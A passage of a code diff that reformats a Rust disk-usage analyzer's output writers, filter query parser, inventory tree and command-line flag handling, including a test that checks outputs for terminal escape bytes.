@@ -83,7 +103,11 @@ fn write_node(bw: &mut impl Write, t: &Tree, id: NodeId, depth: i64) -> io::Resu return bw.write_all(b"}"); } bw.write_all(b",\"children\":[")?; - for (i, c) in t.sorted_children(id, SizeMode::Allocated).into_iter().enumerate() { + for (i, c) in t + .sorted_children(id, SizeMode::Allocated) + .into_iter() + .enumerate() + { if i > 0 { bw.write_all(b",")?; } @@ -107,20 +131,35 @@ pub fn csv(w: &mut dyn Write, t: &Tree, root: NodeId, max_depth: i64) -> io::Res bw.write_all(b"path,type,size,allocated,files,dirs,errors,modified,flags\n")?; fn rec(bw: &mut impl Write, t: &Tree, id: NodeId, path: &[u8], depth: i64) -> io::Result<()> { let n = t.node(id); - let modified = if n.mtime != 0 { textutil::rfc3339_utc(n.mtime) } else { String::new() }; + let modified = if n.mtime != 0 { + textutil::rfc3339_utc(n.mtime) + } else { + String::new() + }; writeln!( bw, "{},{},{},{},{},{},{},{},{}", csv_field(&textutil::sanitize_bytes(path)), kind_name(n.kind), - n.tot_size, n.tot_alloc, n.files, n.dirs, n.errors, modified, + n.tot_size, + n.tot_alloc, + n.files, + n.dirs, + n.errors, + modified, flag_list(n.flags).join("|") )?; if depth == 0 { return Ok(()); } for c in t.sorted_children(id, SizeMode::Allocated) { - rec(bw, t, c, &crate::platform::join_path(path, &t.node(c).name), depth - 1)?; + rec( + bw, + t, + c, + &crate::platform::join_path(path, &t.node(c).name), + depth - 1, + )?; } Ok(()) } @@ -134,7 +173,11 @@ pub fn table(w: &mut dyn Write, t: &Tree, ids: &[NodeId], m: SizeMode) -> io::Re writeln!(w, "{:>12} {:>6} {:>12} PATH", "SIZE", "%", "FILES")?; for &id in ids { let n = t.node(id); - let files = if n.is_dir() { textutil::count(n.files as i64) } else { String::new() }; + let files = if n.is_dir() { + textutil::count(n.files as i64) + } else { + String::new() + }; writeln!( w, "{:>12} {:>6} {:>12} {}", @@ -152,30 +195,65 @@ pub fn summary(w: &mut dyn Write, t: &Tree) -> io::Result<()> { let st = &t.stats; let r = t.node(t.root()); writeln!(w, "Root {}", textutil::sanitize_bytes(&st.root))?; - writeln!(w, "Files {}", textutil::count(st.files + st.symlinks + st.others))?; + writeln!( + w, + "Files {}", + textutil::count(st.files + st.symlinks + st.others) + )?; writeln!(w, "Directories {}", textutil::count(st.dirs))?; - writeln!(w, "Logical size {} ({} bytes)", textutil::size(r.tot_size), r.tot_size)?; - writeln!(w, "Allocated size {} ({} bytes)", textutil::size(r.tot_alloc), r.tot_alloc)?; + writeln!( + w, + "Logical size {} ({} bytes)", + textutil::size(r.tot_size), + r.tot_size + )?; + writeln!( + w, + "Allocated size {} ({} bytes)", + textutil::size(r.tot_alloc), + r.tot_alloc + )?; writeln!(w, "Elapsed {}", textutil::go_duration(st.elapsed()))?; for (k, &c) in st.err_counts.iter().enumerate() { if c > 0 { - writeln!(w, "{:<15} {}", inv::ErrKind::from_u8(k as u8).name(), textutil::count(c))?; + writeln!( + w, + "{:<15} {}", + inv::ErrKind::from_u8(k as u8).name(), + textutil::count(c) + )?; } } if st.excluded > 0 { - writeln!(w, "Excluded {} entries ({})", textutil::count(st.excluded), textutil::sanitize(&st.excludes.join(", ")))?; + writeln!( + w, + "Excluded {} entries ({})", + textutil::count(st.excluded), + textutil::sanitize(&st.excludes.join(", ")) + )?; } if st.skipped_mounts > 0 { writeln!(w, "Other FS skipped {}", textutil::count(st.skipped_mounts))?; } if st.virtual_skipped > 0 { - writeln!(w, "Virtual FS skipped {}", textutil::count(st.virtual_skipped))?; + writeln!( + w, + "Virtual FS skipped {}", + textutil::count(st.virtual_skipped) + )?; } if st.hardlink_dups > 0 { - writeln!(w, "Hard-link dups {} (counted once)", textutil::count(st.hardlink_dups))?; + writeln!( + w, + "Hard-link dups {} (counted once)", + textutil::count(st.hardlink_dups) + )?; } if st.incomplete() { - writeln!(w, "WARNING: totals are incomplete — some data could not be inspected.")?; + writeln!( + w, + "WARNING: totals are incomplete — some data could not be inspected." + )?; } Ok(()) } @@ -199,11 +277,27 @@ mod tests { fn outputs_are_terminal_safe() { let t = hostile_tree(); for out in [ - { let mut b = Vec::new(); json(&mut b, &t, 0, -1).unwrap(); b }, - { let mut b = Vec::new(); csv(&mut b, &t, 0, -1).unwrap(); b }, - { let mut b = Vec::new(); table(&mut b, &t, &[1, 2], SizeMode::Allocated).unwrap(); b }, + { + let mut b = Vec::new(); + json(&mut b, &t, 0, -1).unwrap(); + b + }, + { + let mut b = Vec::new(); + csv(&mut b, &t, 0, -1).unwrap(); + b + }, + { + let mut b = Vec::new(); + table(&mut b, &t, &[1, 2], SizeMode::Allocated).unwrap(); + b + }, ] { - assert!(!out.iter().any(|&c| c == 0x1b || c == 0x07), "{}", String::from_utf8_lossy(&out)); + assert!( + !out.iter().any(|&c| c == 0x1b || c == 0x07), + "{}", + String::from_utf8_lossy(&out) + ); } let mut b = Vec::new(); json(&mut b, &t, 0, -1).unwrap(); diff --git a/src/filter/apply.rs b/src/filter/apply.rs index 6fa4200..464b5ca 100644 --- a/src/filter/apply.rs +++ b/src/filter/apply.rs @@ -41,7 +41,9 @@ pub fn apply(cancel: &Cancel, t: &Tree, q: Arc, m: SizeMode) -> Option, m: SizeMode) -> Option Ctx<'a> { pub fn new(tree: &'a Tree, id: NodeId, now: i64) -> Ctx<'a> { - Ctx { tree, id, node: tree.node(id), now, path: String::new(), has_path: false, name: String::new(), dir_paths: None } + Ctx { + tree, + id, + node: tree.node(id), + now, + path: String::new(), + has_path: false, + name: String::new(), + dir_paths: None, + } } /// Moves the context to another node. @@ -82,7 +91,12 @@ impl<'a> Ctx<'a> { pub(super) fn fill_path(&mut self) { self.has_path = true; self.path.clear(); - if let Some(pp) = self.dir_paths.as_ref().and_then(|dp| dp.get(self.node.parent as usize)).filter(|p| !p.is_empty()) { + if let Some(pp) = self + .dir_paths + .as_ref() + .and_then(|dp| dp.get(self.node.parent as usize)) + .filter(|p| !p.is_empty()) + { self.path.push_str(pp); if !pp.ends_with('/') { self.path.push('/'); @@ -90,7 +104,8 @@ impl<'a> Ctx<'a> { push_lower(&mut self.path, &self.node.name); return; } - self.path.push_str(&self.tree.path_string(self.id).to_lowercase()); + self.path + .push_str(&self.tree.path_string(self.id).to_lowercase()); } } diff --git a/src/filter/lexer.rs b/src/filter/lexer.rs index f39f5f7..f733893 100644 --- a/src/filter/lexer.rs +++ b/src/filter/lexer.rs @@ -17,7 +17,11 @@ pub(super) struct Token { } fn tok(kind: TokKind, val: &str, pos: usize) -> Token { - Token { kind, val: val.to_string(), pos } + Token { + kind, + val: val.to_string(), + pos, + } } /// ASCII white space as Go's unicode.IsSpace sees it. @@ -64,12 +68,18 @@ pub(super) fn lex(s: &str) -> Result, String> { } i += 1; // Only ASCII bytes were dropped, so v is still valid UTF-8. - out.push(Token { kind: Str, val: String::from_utf8_lossy(&v).into_owned(), pos: start }); + out.push(Token { + kind: Str, + val: String::from_utf8_lossy(&v).into_owned(), + pos: start, + }); } b'=' | b'!' | b'<' | b'>' | b'~' | b'&' | b'|' => { let start = i; let n = b.get(i + 1).copied(); - let two = n == Some(b'=') || (c == b'&' && n == Some(b'&')) || (c == b'|' && n == Some(b'|')); + let two = n == Some(b'=') + || (c == b'&' && n == Some(b'&')) + || (c == b'|' && n == Some(b'|')); let op = &s[i..i + 1 + two as usize]; i += op.len(); match op { diff --git a/src/filter/mod.rs b/src/filter/mod.rs index 77dcfb2..094c015 100644 --- a/src/filter/mod.rs +++ b/src/filter/mod.rs @@ -43,7 +43,10 @@ mod tests { let n = t.node_mut(id); n.size = size; n.alloc = size; - n.mtime = (SystemTime::now() - age).duration_since(UNIX_EPOCH).unwrap().as_nanos() as i64; + n.mtime = (SystemTime::now() - age) + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos() as i64; n.cat = category_for(&ext(name.as_bytes()), false, false); }; add(vms, "ubuntu.qcow2", 80 << 30, 400 * DAY); @@ -58,7 +61,10 @@ mod tests { fn names(tr: &Tree, q: &str) -> HashSet { let pq = parse(q, SystemTime::now()).unwrap_or_else(|e| panic!("parse({q:?}): {e}")); let r = apply(&Cancel::new(), tr, Arc::new(pq), SizeMode::Logical).unwrap(); - (0..tr.len() as NodeId).filter(|&i| r.is_match(i)).map(|i| tr.node(i).name_str().into_owned()).collect() + (0..tr.len() as NodeId) + .filter(|&i| r.is_match(i)) + .map(|i| tr.node(i).name_str().into_owned()) + .collect() } #[test] @@ -70,7 +76,10 @@ mod tests { ("size > 1GB", &["vms", "ubuntu.qcow2", "win.vmdk"]), ("size > 1GB AND type = file", &["ubuntu.qcow2", "win.vmdk"]), ("ext = qcow2", &["ubuntu.qcow2"]), - ("size > 500MB AND ext IN (iso,qcow2,vmdk)", &["ubuntu.qcow2", "win.vmdk", "blob.iso"]), + ( + "size > 500MB AND ext IN (iso,qcow2,vmdk)", + &["ubuntu.qcow2", "win.vmdk", "blob.iso"], + ), ("path contains cache", &["cache", "blob.iso", "x.tmp"]), ("age > 365d", &["ubuntu.qcow2"]), ("NOT type = dir AND size < 1k", &["notes.txt", "x.tmp"]), @@ -91,16 +100,32 @@ mod tests { let tr = tree(); let q = parse("name = vms OR ext = qcow2", SystemTime::now()).unwrap(); let r = apply(&Cancel::new(), &tr, Arc::new(q), SizeMode::Logical).unwrap(); - assert_eq!(r.total, tr.node(1).tot_size, "matching dir must not double count matching child"); + assert_eq!( + r.total, + tr.node(1).tot_size, + "matching dir must not double count matching child" + ); } #[test] fn parse_errors() { for q in [ - "", "size >", "size > banana", "(ext = iso", "ext = iso)", "size contains 5", - "name matches '['", "type = blob", "'unterminated", "a & b", "category = nope", + "", + "size >", + "size > banana", + "(ext = iso", + "ext = iso)", + "size contains 5", + "name matches '['", + "type = blob", + "'unterminated", + "a & b", + "category = nope", ] { - assert!(parse(q, SystemTime::now()).is_err(), "parse({q:?}) should fail"); + assert!( + parse(q, SystemTime::now()).is_err(), + "parse({q:?}) should fail" + ); } } @@ -109,10 +134,20 @@ mod tests { let tr = tree(); assert_eq!(names(&tr, "modified < 2000-01-01"), HashSet::new()); assert_eq!(names(&tr, "modified > '2000-01-01 9:30'").len(), 5); - assert_eq!(names(&tr, "modified > 2000-01-01T00:00:00.5+01:00").len(), 5); + assert_eq!( + names(&tr, "modified > 2000-01-01T00:00:00.5+01:00").len(), + 5 + ); assert_eq!(names(&tr, "modified > 30d").len(), 4); - for bad in ["modified > 2024-02-30", "modified > 2024-01-31T10:00", "ext = 'a['"] { - assert!(parse(bad, SystemTime::now()).is_ok() == bad.ends_with("10:00"), "{bad}"); + for bad in [ + "modified > 2024-02-30", + "modified > 2024-01-31T10:00", + "ext = 'a['", + ] { + assert!( + parse(bad, SystemTime::now()).is_ok() == bad.ends_with("10:00"), + "{bad}" + ); } assert!(names(&tr, "[").is_empty()); // malformed bare glob matches nothing assert!(names(&tr, "voilà\u{a0}x").is_empty()); // Go's lexer hangs on byte 0xA0 @@ -120,7 +155,13 @@ mod tests { #[test] fn parse_size_units() { - for (input, want) in [("1GB", 1_000_000_000), ("1GiB", 1 << 30), ("1.5k", 1536), ("500MB", 500_000_000), ("10", 10)] { + for (input, want) in [ + ("1GB", 1_000_000_000), + ("1GiB", 1 << 30), + ("1.5k", 1536), + ("500MB", 500_000_000), + ("10", 10), + ] { assert_eq!(parse_size(input), Ok(want), "{input}"); } } diff --git a/src/filter/parser.rs b/src/filter/parser.rs index ef0bf3d..7633c07 100644 --- a/src/filter/parser.rs +++ b/src/filter/parser.rs @@ -43,7 +43,8 @@ fn field_by_name(s: &str) -> Option { } /// Field names for help text. -pub const FIELDS: &str = "name path ext type category size allocated age modified owner group files flag"; +pub const FIELDS: &str = + "name path ext type category size allocated age modified owner group files flag"; /// A compiled filter. pub struct Query { @@ -68,7 +69,12 @@ struct Parser { /// Compiles a query. now anchors relative ages (pass SystemTime::now()). pub fn parse(s: &str, now: SystemTime) -> Result { let toks = lex(s)?; - let mut p = Parser { toks, i: 0, uses_path: false, now }; + let mut p = Parser { + toks, + i: 0, + uses_path: false, + now, + }; if p.peek().kind == TokKind::Eof { return Err("empty query".into()); } @@ -77,7 +83,11 @@ pub fn parse(s: &str, now: SystemTime) -> Result { if t.kind != TokKind::Eof { return Err(format!("unexpected {:?} at {}", t.val, t.pos + 1)); } - Ok(Query { src: s.to_string(), root, uses_path: p.uses_path }) + Ok(Query { + src: s.to_string(), + root, + uses_path: p.uses_path, + }) } fn is_kw(t: &Token, kw: &str) -> bool { @@ -193,7 +203,10 @@ impl Parser { if f == Field::Path { self.uses_path = true; } - if matches!(f, Field::Size | Field::Allocated | Field::Age | Field::Modified | Field::Files) { + if matches!( + f, + Field::Size | Field::Allocated | Field::Age | Field::Modified | Field::Files + ) { let nop = match op.as_str() { "=" | "in" => NumOp::Eq, "!=" => NumOp::Ne, @@ -203,7 +216,10 @@ impl Parser { "<=" => NumOp::Le, _ => return Err(format!("{op} cannot be used with numeric field")), }; - let nums = vals.iter().map(|v| self.number(f, &v.val)).collect::, _>>()?; + let nums = vals + .iter() + .map(|v| self.number(f, &v.val)) + .collect::, _>>()?; return Ok(Expr::Num(f, nop, nums)); } // String-like fields. @@ -244,7 +260,11 @@ impl Parser { } else { Expr::Eq(f, set) }; - Ok(if op == "!=" { Expr::Not(Box::new(n)) } else { n }) + Ok(if op == "!=" { + Expr::Not(Box::new(n)) + } else { + n + }) } _ => Err(format!("operator {op} not valid for {}", op_tok.val)), } @@ -256,7 +276,9 @@ impl Parser { fn number(&self, f: Field, s: &str) -> Result { match f { Field::Size | Field::Allocated => parse_size(s), - Field::Files => s.parse::().map_err(|e| format!("bad number {s:?}: {e}")), + Field::Files => s + .parse::() + .map_err(|e| format!("bad number {s:?}: {e}")), Field::Age => parse_age(s).map(nanos), Field::Modified => { if let Some(t) = parse_date(s) { @@ -266,7 +288,9 @@ impl Parser { let now = self.now.duration_since(UNIX_EPOCH).map(nanos).unwrap_or(0); return Ok(now.saturating_sub(nanos(d))); } - Err(format!("bad date {s:?} (use YYYY-MM-DD or an age like 30d)")) + Err(format!( + "bad date {s:?} (use YYYY-MM-DD or an age like 30d)" + )) } _ => Err("not numeric".into()), } @@ -285,7 +309,11 @@ pub(super) fn name_match(v: &str) -> Expr { let lv = v.to_lowercase(); if has_glob(v) { // Go's filepath.Match never matches a malformed pattern. - return if glob_ok(lv.as_bytes()) { Expr::Glob(Field::Name, lv) } else { Expr::False }; + return if glob_ok(lv.as_bytes()) { + Expr::Glob(Field::Name, lv) + } else { + Expr::False + }; } Expr::Contains(Field::Name, lv) } @@ -365,7 +393,10 @@ fn flag_bit(s: &str) -> Option { /// Splits a leading run of digits and dots from s. fn split_num(s: &str) -> (&str, &str) { - let i = s.bytes().position(|c| !(c.is_ascii_digit() || c == b'.')).unwrap_or(s.len()); + let i = s + .bytes() + .position(|c| !(c.is_ascii_digit() || c == b'.')) + .unwrap_or(s.len()); s.split_at(i) } @@ -374,8 +405,14 @@ fn split_num(s: &str) -> (&str, &str) { /// (textutil::set_si). pub fn parse_size(s: &str) -> Result { let (num, unit_raw) = split_num(s); - let Ok(v) = num.parse::() else { return Err(format!("bad size {s:?}")) }; - let bare: f64 = if crate::textutil::si() { 1000.0 } else { 1024.0 }; + let Ok(v) = num.parse::() else { + return Err(format!("bad size {s:?}")); + }; + let bare: f64 = if crate::textutil::si() { + 1000.0 + } else { + 1024.0 + }; let m = match unit_raw.trim().to_lowercase().as_str() { "" | "b" => 1.0, "k" => bare, @@ -405,7 +442,9 @@ pub fn parse_size(s: &str) -> Result { /// Parses durations like 90s, 30min, 12h, 7d, 2w, 6mo, 1y. pub fn parse_age(s: &str) -> Result { let (num, unit) = split_num(s); - let Ok(v) = num.parse::() else { return Err(format!("bad age {s:?}")) }; + let Ok(v) = num.parse::() else { + return Err(format!("bad age {s:?}")); + }; const DAY: f64 = 86400.0; let secs = match unit.to_lowercase().as_str() { "s" | "sec" => 1.0, @@ -415,7 +454,11 @@ pub fn parse_age(s: &str) -> Result { "w" => 7.0 * DAY, "m" | "mo" => 30.0 * DAY, "y" => 365.0 * DAY, - _ => return Err(format!("unknown age unit {unit:?} (s, min, h, d, w, mo, y)")), + _ => { + return Err(format!( + "unknown age unit {unit:?} (s, min, h, d, w, mo, y)" + )) + } }; // Saturates where Go's time.Duration would overflow. Ok(Duration::from_nanos((v * secs * 1e9) as u64)) @@ -428,10 +471,17 @@ fn parse_date(s: &str) -> Option { let b = s.as_bytes(); let fixed = |i: usize, n: usize| -> Option { let d = b.get(i..i + n)?; - d.iter().all(u8::is_ascii_digit).then(|| d.iter().fold(0, |a, &c| a * 10 + (c - b'0') as i64)) + d.iter() + .all(u8::is_ascii_digit) + .then(|| d.iter().fold(0, |a, &c| a * 10 + (c - b'0') as i64)) }; let (y, mo, d) = (fixed(0, 4)?, fixed(5, 2)?, fixed(8, 2)?); - if b.get(4) != Some(&b'-') || b.get(7) != Some(&b'-') || !(1..=12).contains(&mo) || d < 1 || d > days_in(y, mo) { + if b.get(4) != Some(&b'-') + || b.get(7) != Some(&b'-') + || !(1..=12).contains(&mo) + || d < 1 + || d > days_in(y, mo) + { return None; } if b.len() == 10 { @@ -473,7 +523,10 @@ fn parse_date(s: &str) -> Option { return None; } for k in 0..9 { - ns = ns * 10 + b.get(i + 1 + k).filter(|_| k < n).map_or(0, |c| (c - b'0') as i64); + ns = ns * 10 + + b.get(i + 1 + k) + .filter(|_| k < n) + .map_or(0, |c| (c - b'0') as i64); } i += 1 + n; } diff --git a/src/inventory/category.rs b/src/inventory/category.rs index 9b1a2a8..ab424d9 100644 --- a/src/inventory/category.rs +++ b/src/inventory/category.rs @@ -23,14 +23,33 @@ pub enum Category { pub const NUM_CATEGORIES: usize = 12; const CATEGORY_NAMES: [&str; NUM_CATEGORIES] = [ - "Other", "Image", "Video", "Audio", "Archive", "Disk image", "Database", - "Source code", "Document", "Executable", "Log", "Cache", + "Other", + "Image", + "Video", + "Audio", + "Archive", + "Disk image", + "Database", + "Source code", + "Document", + "Executable", + "Log", + "Cache", ]; const ALL: [Category; NUM_CATEGORIES] = [ - Category::Other, Category::Image, Category::Video, Category::Audio, Category::Archive, - Category::DiskImage, Category::Database, Category::Code, Category::Document, - Category::Executable, Category::Log, Category::Cache, + Category::Other, + Category::Image, + Category::Video, + Category::Audio, + Category::Archive, + Category::DiskImage, + Category::Database, + Category::Code, + Category::Document, + Category::Executable, + Category::Log, + Category::Cache, ]; impl Category { @@ -98,8 +117,12 @@ fn ext_table() -> &'static HashMap<&'static str, Category> { pub fn category_for(ext: &str, in_cache: bool, in_log: bool) -> Category { let c = ext_table().get(ext).copied(); match c { - _ if in_cache && matches!(c, None | Some(Category::Other) | Some(Category::Code)) => Category::Cache, - _ if in_log && matches!(c, None | Some(Category::Archive) | Some(Category::Other)) => Category::Log, + _ if in_cache && matches!(c, None | Some(Category::Other) | Some(Category::Code)) => { + Category::Cache + } + _ if in_log && matches!(c, None | Some(Category::Archive) | Some(Category::Other)) => { + Category::Log + } Some(c) => c, None => Category::Other, } @@ -114,7 +137,8 @@ pub fn path_hints(path: &[u8]) -> (bool, bool) { continue; } match part.to_ascii_lowercase().as_slice() { - b"cache" | b".cache" | b"caches" | b"__pycache__" | b".npm" | b".gradle" | b"inetcache" | b"temp" | b"tmp" => in_cache = true, + b"cache" | b".cache" | b"caches" | b"__pycache__" | b".npm" | b".gradle" + | b"inetcache" | b"temp" | b"tmp" => in_cache = true, b"log" | b"logs" | b".logs" | b"journal" => in_log = true, _ => {} } diff --git a/src/inventory/mod.rs b/src/inventory/mod.rs index 4905241..315a6c6 100644 --- a/src/inventory/mod.rs +++ b/src/inventory/mod.rs @@ -72,8 +72,8 @@ pub struct Node { /// Single path component (raw bytes); the root holds the full root path. pub name: Box<[u8]>, - pub size: i64, // own logical bytes - pub alloc: i64, // own allocated bytes + pub size: i64, // own logical bytes + pub alloc: i64, // own allocated bytes pub tot_size: i64, // aggregates (hard-link duplicates contribute 0) pub tot_alloc: i64, pub mtime: i64, // unix nanoseconds @@ -81,7 +81,7 @@ pub struct Node { pub files: u32, // recursive counts beneath (dirs excludes self) pub dirs: u32, pub errors: u32, // recursive error count beneath and including self - pub mode: u32, // Go fs.FileMode bit layout (see platform::mode) + pub mode: u32, // Go fs.FileMode bit layout (see platform::mode) pub uid: u32, pub gid: u32, pub nlink: u32, @@ -129,7 +129,10 @@ struct Chunked { impl Chunked { fn new() -> Self { - Chunked { c: Vec::new(), n: 0 } + Chunked { + c: Vec::new(), + n: 0, + } } fn add(&mut self, v: T) -> u32 { if self.n & (CHUNK_SIZE - 1) == 0 && self.n >> CHUNK_BITS == self.c.len() { @@ -202,9 +205,22 @@ impl Tree { next_sibling: NO_NODE, dir: 0, name: name.into(), - size: 0, alloc: 0, tot_size: 0, tot_alloc: 0, mtime: 0, - files: 0, dirs: 0, errors: 0, mode: 0, uid: 0, gid: 0, nlink: 0, - ext: 0, flags: 0, kind, cat: Category::Other, + size: 0, + alloc: 0, + tot_size: 0, + tot_alloc: 0, + mtime: 0, + files: 0, + dirs: 0, + errors: 0, + mode: 0, + uid: 0, + gid: 0, + nlink: 0, + ext: 0, + flags: 0, + kind, + cat: Category::Other, }; if kind == Kind::Dir { n.dir = self.dirs.add([0; NUM_CATEGORIES]); @@ -274,7 +290,10 @@ impl Tree { /// Iterates the children of id (in reverse insertion order). pub fn children(&self, id: NodeId) -> Children<'_> { - Children { t: self, cur: self.node(id).first_child } + Children { + t: self, + cur: self.node(id).first_child, + } } pub fn child_count(&self, id: NodeId) -> usize { @@ -408,9 +427,17 @@ struct Shallow { impl Node { fn clone_shallow(&self) -> Shallow { Shallow { - parent: self.parent, dir: self.dir, tot_size: self.tot_size, tot_alloc: self.tot_alloc, - alloc: self.alloc, files: self.files, dirs: self.dirs, errors: self.errors, - flags: self.flags, kind: self.kind, cat: self.cat, + parent: self.parent, + dir: self.dir, + tot_size: self.tot_size, + tot_alloc: self.tot_alloc, + alloc: self.alloc, + files: self.files, + dirs: self.dirs, + errors: self.errors, + flags: self.flags, + kind: self.kind, + cat: self.cat, } } } @@ -471,7 +498,13 @@ mod tests { #[test] fn ext_and_category() { - for (input, want) in [("a.QCOW2", "qcow2"), (".bashrc", ""), ("noext", ""), ("x.tar.gz", "gz"), ("trail.", "")] { + for (input, want) in [ + ("a.QCOW2", "qcow2"), + (".bashrc", ""), + ("noext", ""), + ("x.tar.gz", "gz"), + ("trail.", ""), + ] { assert_eq!(ext(input.as_bytes()), want, "{input}"); } assert_eq!(category_for("qcow2", false, false), Category::DiskImage); diff --git a/src/inventory/query.rs b/src/inventory/query.rs index cb02600..9182507 100644 --- a/src/inventory/query.rs +++ b/src/inventory/query.rs @@ -47,7 +47,10 @@ pub struct TopK { impl TopK { pub fn new(k: usize) -> TopK { - TopK { k, h: BinaryHeap::with_capacity(k.min(1 << 16)) } + TopK { + k, + h: BinaryHeap::with_capacity(k.min(1 << 16)), + } } pub fn offer(&mut self, id: NodeId, key: i64) { @@ -67,7 +70,11 @@ impl TopK { /// The collected IDs, largest key first (ties by ID). pub fn sorted(self) -> Vec { // into_sorted_vec is ascending in Reverse order = descending key. - self.h.into_sorted_vec().into_iter().map(|Reverse((_, Reverse(id)))| id).collect() + self.h + .into_sorted_vec() + .into_iter() + .map(|Reverse((_, Reverse(id)))| id) + .collect() } } @@ -87,7 +94,13 @@ impl Tree { /// The k nodes beneath (and including) root with the largest key, /// considering only nodes accepted by keep. - pub fn top(&self, root: NodeId, k: usize, keep: impl Fn(&Node) -> bool, key: impl Fn(&Node) -> i64) -> Vec { + pub fn top( + &self, + root: NodeId, + k: usize, + keep: impl Fn(&Node) -> bool, + key: impl Fn(&Node) -> i64, + ) -> Vec { let mut tk = TopK::new(k); self.walk(root, |id, n| { if keep(n) { diff --git a/src/inventory/stats.rs b/src/inventory/stats.rs index a5d0d2d..2c9369c 100644 --- a/src/inventory/stats.rs +++ b/src/inventory/stats.rs @@ -18,13 +18,25 @@ pub const NUM_ERR_KINDS: usize = 5; impl ErrKind { pub fn from_u8(v: u8) -> ErrKind { - [ErrKind::Permission, ErrKind::Vanished, ErrKind::Io, ErrKind::Loop, ErrKind::Other] - .get(v as usize) - .copied() - .unwrap_or(ErrKind::Other) + [ + ErrKind::Permission, + ErrKind::Vanished, + ErrKind::Io, + ErrKind::Loop, + ErrKind::Other, + ] + .get(v as usize) + .copied() + .unwrap_or(ErrKind::Other) } pub fn name(self) -> &'static str { - ["Permission denied", "Vanished during scan", "I/O error", "Symlink loop", "Other error"][self as usize] + [ + "Permission denied", + "Vanished during scan", + "I/O error", + "Symlink loop", + "Other error", + ][self as usize] } } @@ -46,7 +58,7 @@ pub fn classify(err: &io::Error) -> ErrKind { /// One recorded scan error. #[derive(Clone, Debug, Default)] pub struct ErrorRecord { - pub node: NodeId, // node the error is attached to (the directory for listing failures) + pub node: NodeId, // node the error is attached to (the directory for listing failures) pub name: Vec, // entry name when no node was created (e.g. vanished) pub kind: ErrKind, pub msg: String, @@ -89,11 +101,29 @@ pub struct Stats { impl Default for Stats { fn default() -> Self { Stats { - root: Vec::new(), start: SystemTime::now(), end: None, complete: false, cancelled: false, - files: 0, dirs: 0, symlinks: 0, others: 0, err_counts: [0; NUM_ERR_KINDS], errors: Vec::new(), - excluded: 0, skipped_mounts: 0, virtual_skipped: 0, loops_skipped: 0, broken_links: 0, - hardlink_dups: 0, unscanned: 0, excludes: Vec::new(), one_file_system: false, - follow: String::new(), workers: 0, from_snapshot: String::new(), + root: Vec::new(), + start: SystemTime::now(), + end: None, + complete: false, + cancelled: false, + files: 0, + dirs: 0, + symlinks: 0, + others: 0, + err_counts: [0; NUM_ERR_KINDS], + errors: Vec::new(), + excluded: 0, + skipped_mounts: 0, + virtual_skipped: 0, + loops_skipped: 0, + broken_links: 0, + hardlink_dups: 0, + unscanned: 0, + excludes: Vec::new(), + one_file_system: false, + follow: String::new(), + workers: 0, + from_snapshot: String::new(), } } } diff --git a/src/main.rs b/src/main.rs index c32a9ac..0642318 100644 --- a/src/main.rs +++ b/src/main.rs @@ -7,11 +7,36 @@ use std::path::Path; /// Flags taking a value (Go's flag package: `-f v`, `-f=v`, `--f v`, `--f=v`). const VALUE_FLAGS: &[&str] = &[ - "workers", "follow-symlinks", "depth", "top", "largest-files", "save", "snapshot", "load", "scan", - "theme", "color", "log", "log-level", "exclude", + "workers", + "follow-symlinks", + "depth", + "top", + "largest-files", + "save", + "snapshot", + "load", + "scan", + "theme", + "color", + "log", + "log-level", + "exclude", ]; /// Boolean flags (`-f`, `-f=false`). -const BOOL_FLAGS: &[&str] = &["one-file-system", "x", "read-only", "no-ui", "json", "csv", "duplicates", "compare", "si", "apparent", "no-mouse", "version"]; +const BOOL_FLAGS: &[&str] = &[ + "one-file-system", + "x", + "read-only", + "no-ui", + "json", + "csv", + "duplicates", + "compare", + "si", + "apparent", + "no-mouse", + "version", +]; fn usage() { let n = brand::NAME; @@ -54,7 +79,10 @@ Flags: } fn main() { - std::process::exit(run(std::env::args_os().skip(1).map(|a| a.to_string_lossy().into_owned()).collect())); + std::process::exit(run(std::env::args_os() + .skip(1) + .map(|a| a.to_string_lossy().into_owned()) + .collect())); } fn fail(msg: impl std::fmt::Display) -> i32 { @@ -74,7 +102,11 @@ fn run(args: Vec) -> i32 { positional.extend(it.by_ref()); break; } - let Some(flag) = a.strip_prefix("--").or_else(|| a.strip_prefix('-')).filter(|f| !f.is_empty() && a != "-") else { + let Some(flag) = a + .strip_prefix("--") + .or_else(|| a.strip_prefix('-')) + .filter(|f| !f.is_empty() && a != "-") + else { positional.push(a); continue; }; @@ -90,10 +122,17 @@ fn run(args: Vec) -> i32 { match inline.as_deref().map(str::parse::) { None => bools.insert(n, true), Some(Ok(v)) => bools.insert(n, v), - Some(Err(_)) => return fail(format!("invalid boolean value {:?} for -{n}", inline.unwrap())), + Some(Err(_)) => { + return fail(format!( + "invalid boolean value {:?} for -{n}", + inline.unwrap() + )) + } }; } else if let Some(&n) = VALUE_FLAGS.iter().find(|&&f| f == name) { - let Some(v) = inline.or_else(|| it.next()) else { return fail(format!("flag needs an argument: -{n}")) }; + let Some(v) = inline.or_else(|| it.next()) else { + return fail(format!("flag needs an argument: -{n}")); + }; if n == "exclude" { excludes.push(v); } else { @@ -107,11 +146,20 @@ fn run(args: Vec) -> i32 { let b = |n: &str| bools.get(n).copied(); let v = |n: &str| vals.get(n).cloned(); let int = |n: &str, d: i64| -> Result { - v(n).map_or(Ok(d), |s| s.parse().map_err(|_| format!("invalid value {s:?} for flag -{n}: parse error"))) + v(n).map_or(Ok(d), |s| { + s.parse() + .map_err(|_| format!("invalid value {s:?} for flag -{n}: parse error")) + }) }; if b("version") == Some(true) { - println!("{} {} ({}/{})", brand::NAME, brand::VERSION, std::env::consts::OS, std::env::consts::ARCH); + println!( + "{} {} ({}/{})", + brand::NAME, + brand::VERSION, + std::env::consts::OS, + std::env::consts::ARCH + ); return 0; } if let Some(e) = cfg_err { @@ -143,7 +191,11 @@ fn run(args: Vec) -> i32 { color: v("color").unwrap_or_else(|| "auto".into()), load: v("load").unwrap_or_default(), save: v("save").or_else(|| v("snapshot")).unwrap_or_default(), - size_mode: if b("apparent").unwrap_or(settings.size_mode == "logical") { SizeMode::Logical } else { SizeMode::Allocated }, + size_mode: if b("apparent").unwrap_or(settings.size_mode == "logical") { + SizeMode::Logical + } else { + SizeMode::Allocated + }, ..Config::new(settings.clone()) }; if let Some(p) = v("scan") { @@ -158,7 +210,10 @@ fn run(args: Vec) -> i32 { if positional.len() > 1 { return fail("only one path may be scanned at a time"); } - if positional.len() == 1 && cfg.load.is_empty() && snapshot::is_snapshot(Path::new(&positional[0])) { + if positional.len() == 1 